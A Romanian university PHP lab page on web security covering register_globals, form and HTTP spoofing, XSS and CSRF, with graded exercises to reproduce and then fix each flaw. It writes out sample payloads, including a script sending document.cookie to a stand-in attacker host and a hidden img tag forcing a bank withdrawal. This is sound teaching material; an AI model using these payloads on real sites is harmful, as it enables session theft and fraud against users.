Laborator 06 - Securitate I

Table of Contents

- Laborator 06 - Securitate I
  - Ce este securitatea ?
  - Register Globals
  - Form spoofing
  - HTTP Spoofing
  - Cross site scripting (XSS)
    - Efecte
  - Cross Site Request Forgeries (CSRF)
    - Conținutul unei cereri HTTP
    - Când funcționează CSRF
  - Exerciții
  - Bibliografie

- Repartizare teme
- Catalog PW

Laboratoare

- Laborator 01 - Introducere
- Laborator 02 - BD in PHP
- Laborator 03 - Arrays, Magic Methods
- Laborator 04 - (X)HTML, CSS
- Laborator 05 - Formulare HTML, Persistența Datelor
- Laborator 06 - Securitate I
- Laborator 07 - Securitate II
- Laborator 08 - JavaScript
- Laborator 09 - DOM scripting
- Laborator 10 - AJAX
- Laborator 11 - Web Frameworks

Teme

- Tema 01 - API pentru BD
- Tema 02 - Template System & Controller
- Tema 03 - Generator de formulare
- Tema 04 - Tree Web UI

Login

Ce este securitatea ?

Securitatea este o trăsătură **măsurabilă** și nu definitorie a unei aplicații web. Nu putem răspunde cu *da* sau *nu* la o întrebare de tipul: *Este o aplicație web sigură?*. Întrebarea este subiectivă și un răspuns nu poate fi dat, fără a ne raporta la un efort (potențial) de compromitere al aplicației.

Eforturile de securizare a unei aplicații (sau componente ale acesteia) sunt (sau trebuie să fie) **direct proporționale** cu valoarea informației (sau cu efortul potențial de compromitere al acesteia); exemple:

- pentru aplicații de tip ***social networking***, informațiile legate de un cont sunt confidențiale, însă nu **critice**; în acest caz, nu se justifică implementări elaborate pentru securizarea acestora;
- pentru aplicații web bancare (***magazine online***), informațiile legate de un cont pot fi **critice**, și trebuie protejate ca atare;

Register Globals

Register Globals este o opțiune ce poate fi modificată în fișierul **php.ini**, și are următoarea semnificație:

- dacă **register_globals** are valoarea **On**, atunci pentru fiecare pereche (cheie ⇒ valoare) trimisă printr-un formular (prin metoda `GET` sau `POST`), o variabilă globală `$cheie` având valoarea "valoare" va fi disponibilă.

Fie următorul exemplu de cod:

```
if ($authenticated) {
    echo "Critical Code";
}
```

Observații:

- în codul de mai sus, o porțiune critică de cod se execută doar dacă `$authenticated` are valoarea `true`
- dacă opțiunea **register_globals** este *On* și accesăm script-ul astfel: `script.php?authenticated=true`, atunci codul critic se va executa în mod necorespunzător și **nesigur**.

Fie un alt exemplu:

```
include "$path/includeFile.php";
```

Un acces de forma: `script.php?path=evildomain.com`, având `register_globals` activat, va produce includerea fișierului `evildomain.com/includeFile.php`, care poate conține un script malițios (care șterge baza de date, de exemplu);

Form spoofing

Fie următorul exemplu de formular HTML:

form.html

```
<form action="script.php" method="POST">
<select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
</select>
<input type="submit" />
</form>
```

Formularul de mai sus permite unui utilizator să selecteze dintr-o listă o culoare posibilă. Aparent, valorile valide trimise scriptului `script.php` sunt limitate din interfață la cele trei valori: *red*, *green*, *blue*. Fie însă următorul formular malițios, care poate fi trimis de către oricine scriptului nostru:

malitious_form.html

```
<form action="script.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>
```

Se observă cu ușurință că, folosind acest formular, oricine poate trimite orice valoare, folosind numele `color`.

HTTP Spoofing

Putem extinde abordarea de mai sus, falsificând nu doar un formular, ci o cerere HTTP efectivă. Fie următorul script:

```
var_dump($_GET);
```

și următorul cod care trimite o cerere HTTP către scriptul de mai sus:

```
$http_response = '';

$fp = fsockopen('localhost', 80);

fputs($fp, "GET /script.php?key1=value1&key2=value2 HTTP/1.1\r\n");
fputs($fp, "Host: localhost\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}
fclose($fp);

echo nl2br(htmlentities($http_response));
```

Observații:

- codul de mai sus deschide o conexiune la port-ul 80 al localhost, și trimite o cerere HTTP de tip GET către script.php;
- funcția `fputs` scrie pe socket;
- funcția `fgets` citește câte 128 octeți de la socket, până când nici o informație nu mai este disponibilă;
- funcția `nl2br` adaugă ”
” de câte ori întâlnește “\n”;
- funcția `htmlentities` transformă tag-urile HTML în caractere efective (utilă pentru a putea afișa efectiv codul HTML, fără a fi interpretat de brower)

Cross site scripting (XSS)

Acest mecanism de compromitere a securității se bazează pe faptul că, de multe ori, o aplicație web publică informații trimise de utilizatorii ei fără a verifica conținutul. Spre exemplu, o aplicație care afișează mesajele utilizatorilor (spre exemplu un forum), poate primi următorul mesaj:

```
<script>
document.location = 'http://www.google.ro'
</script>
```

Efecte

Compromiterea funcționării aplicației

Trimiterea acestui mesaj pe un forum neprotejat ar produce **nefuncționarea forumului**. Orice utilizator care accesează pagina in care acest mesaj este publicat, va fi redirecționat către ' www.google.ro'.

Compromiterea datelor utilizatorului - Varianta 1

Să presupunem că mesajul postat este următorul:

```
<script>
document.location = 'http://www.evilforum.ro'
</script>
```

Unde site-ul `www.evilforum.ro` este unul care seamănă (dpdv al interfeței) cu site-ul compromis, și în care utilizatorului i se afișează un mesaj de forma “sesiune expirată, vă rugăm să vă reautentificați”, urmat de un formular care cere introducerea username-ului și parolei.
Observații:

- din cauza redirectării, utilizatorul nu este conștient că **nu se mai află pe pagina forumului**, ci pe o **pagină malițioasă**
- utilizatorul poate fi tentat să se reautentifice, expunându-și astfel username-ul și parola către site-ul malițios;

Compromiterea datelor utilizatorului - Varianta 2

Să presupunem că autentificarea utilizatorului se bazează pe cookie-uri, și că acestea rețin informații critice legate de utilizator. Atunci următorul mesaj:

```
<script>
document.location = 'http://www.evilforum.ro/mal.php?cookies=' + document.cookie
</script>
```

Va produce trimiterea cookie-ului asociat utilizatorului către scriptul de pe `evilforum.ro`.
Observații:

- pe lângă implementarea defectuoasă a mecanismului de posturi, această variantă exploatează și flexibilitatea browserului, care nu este întotdeauna avantajoasă.

Cross Site Request Forgeries (CSRF)

Spre deosebire de **Cross Site Scripting (XSS)**, care exploatează încrederea pe care un utilizator o are într-un website, **Cross Site Request Forgeries (CSRF)** funcționează **invers**, speculând încrederea pe care un website o are în utilizatorii săi.

Fie următorul scenariu:

- Bob are un cont bancar, și este autentificat pe o aplicație ce gestionează acest cont; aplicația folosește **cookie**-uri pentru a reține informații despre utilizatori;
- Mallory are și el un cont bancar. De asemenea cunoaște faptul că Bob este autentificat și îi prezintă următorul link lui Bob:

```
<a href='http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory'> Hello </a>
```

Bob poate fi suspicios, alegând astfel să nu urmeze acest link. Ce se întâmplă însă dacă acest link este **ascuns** pe o pagină aparent banală ce conține următorul tag `img`:

```
<img src="http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory">
```

Să examinăm în detaliu ce se întâmplă când o pagină conține un astfel de tag.

Conținutul unei cereri HTTP

Când un utilizator se autentifică (către `http://bank.example`) și informațiile sunt reținute într-un **cookie**, serverul va produce următorul răspuns clientului proaspăt autentificat:

```
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value

(content of page)
```

Observați câmpul `Set-Cookie` care **informează** browserul că un cookie a fost setat.

Orice cerere HTTP ulterioară către `http://bank.example` va fi de forma:

```
GET /page.html HTTP/1.1
Host: bank.example
Cookie: name=value
```

Observați faptul că cererea HTTP conține **câmpul `Cookie`**; browserul trimite serverului cookie-ul setat de acesta.

Din nefericire browserul **nu face distincție între o cerere HTTP obișnuită și o cerere HTTP pentru o imagine** (de exemplu).
Motiv pentru care, când întâlnește tag-ul:

```
<img src="http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory">
```

browserul lui Bob va construi următoarea cerere HTTP:

```
GET /withdraw.php?account=bob&amount=1000000&for=mallory HTTP/1.1
Host: bank.example
Cookie: name=value
```

Cum cookie-ul a fost setat pentru acest domeniu, browserul web va anexa acestei cereri câmpul `Cookie: name=value`.

Se vede limpede acum faptul că deschiderea unei simple pagini web care conține tag-ul `img` descris mai sus va produce o modificare în contul bancar al lui Bob în favoarea lui Mallory.

Când funcționează CSRF

Pentru ca **CSRF** să funcționeze, următoarele condiții trebuie îndeplinite:

- Atacatorul trebuie să găsească o aplicație care nu verifică câmpul `Referer` din cererea HTTP. (Un astfel de câmp este de obicei setat și indică entitatea de unde s-a trimis pagina malițioasă (în exemplul nostru, `Referer`-ul este site-ul lui Mallory, care găzduiește pagina web ce conține tag-ul `img` malițios)
- Atacatorul trebuie să găsească o aplicație a carei URL-uri **produc efecte secundare** (spre exemplu, withdraw.php, aparținând `banking.example`) ca urmare a trimiterii de formulare (prin metoda GET).
- Atacatorul trebuie să cunoască valorile corecte ce trebuie trimise scriptului (în exemplul nostru: account=bob&amount=1000000&for=mallory; cum însă Mallory are și el un cont bancar pe același site, acest lucru este rezonabil); însa dacă formularul mai solicită și alte informații (eventual o parolă, sau output-ul unui `captcha`), atacul nu mai este posibil (în această formă).

- Atacatorul trebuie să convingă *victima* să acceseze un website malițios, în timp ce aceasta se află autentificată pe site-ul țintă (`bank.example`)

Exerciții

- Baza de date pwlab6.zip
- **(1.0p)** Testați un exemplu de cod prezentat la capitolul **register globals**, având opțiunea `register_globals` activată. Găsiți o soluție pentru a proteja zona critică de cod, cu `register_globals` activată;
- **Form Spoofing**:
  - **(0.5p)** Testați exemplul prezentat; Scrieți o implementare a `script.php`, astfel încât doar valorile corecte să fie permise;
  - **(2p)** Implementați o soluție generală pentru a preveni **form spoofing**;
- **HTTP Spoofing**:
  - **(0.5p)** Testați codul prezentat în exemplu, realizând o cerere GET către un script simplu, care așteaptă un formular trimis prin metoda GET;
  - **(2.5p)** Modificați codul de la exemplul **HTTP Spoofing**, astfel încât să realizați o cerere POST către un același script (modificați scriptul astfel încât să aștepte un formular trimis prin metoda POST):
    - Adăugați în antetul HTTP câmpul *`Content-type:`* având valoarea *`application/x-www-form-urlencoded`*
    - Adăugați câmpul *`Content-length:`* ce specifică dimensiunea datelor din formular
    - Adăugați câmpul *`Connection:`* având valoarea *`close`*
    - ATENȚIE, fiecare pereche câmp-valoare trebuie să fie separată de **terminatorul de șir** *`\r\n`*
    - Folosiți **terminatorul dublu** pentru a specifica terminarea header-ului HTTP: \r\n\r\n
    - Informația din formular va fi plasată în **conținutul** cererii HTTP (imediat după terminarea header-ului)
    - Aceasta va fi formatată la fel ca și în cazul metodei GET: *`key1=value1&key2=value2`*
- **Cross Site Scripting**:
  - **(0.5p)** Scrieți un script simplu care permite postarea de mesaje; script-ul conține un formular având un singur `editbox` și un buton `submit`. Trimiterea se face către același script, care verifică dacă un mesaj a fost postat; dacă da, introduce mesajul nou în baza de date. Apoi (indiferent de situație), scriptul afișează toate mesajele din baza de date, precum și formularul pentru trimitere de mesaj nou.
  - **(0.5p)** Setați un cookie în scriptul vostru. Considerăm că acest cookie conține informații sensibile legate de utilizator (testați dacă cookie-ul a fost setat, astfel încât acesta să nu fie setat de mai multe ori)
  - **(0.5p)** Scrieți un script pe care îl vom considera "malițios" (mal.php), în care afișați vectorul `$_GET`;
  - **(0.5p)** Scrieți următorul post în scriptul vostru:

```
<script> document.location = 'mal.php?cookies=' + document.cookie </script>
```

Modificați scriptul vostru de testare, astfel încât să nu permită **Cross Site Scripting**. Care este alternativa cea mai bună?

- **Cross Site Request Forgery**:
  - **(1.5p)** Construiți un scenariu care exemplifică **CSRF**
  - **(2.0p)** Propuneți soluții pentru eliminarea acestei probleme

Bibliografie

- http://phpsec.org/projects/guide/
- http://en.wikipedia.org/wiki/Cross-site_request_forgery
- http://en.wikipedia.org/wiki/HTTP_cookie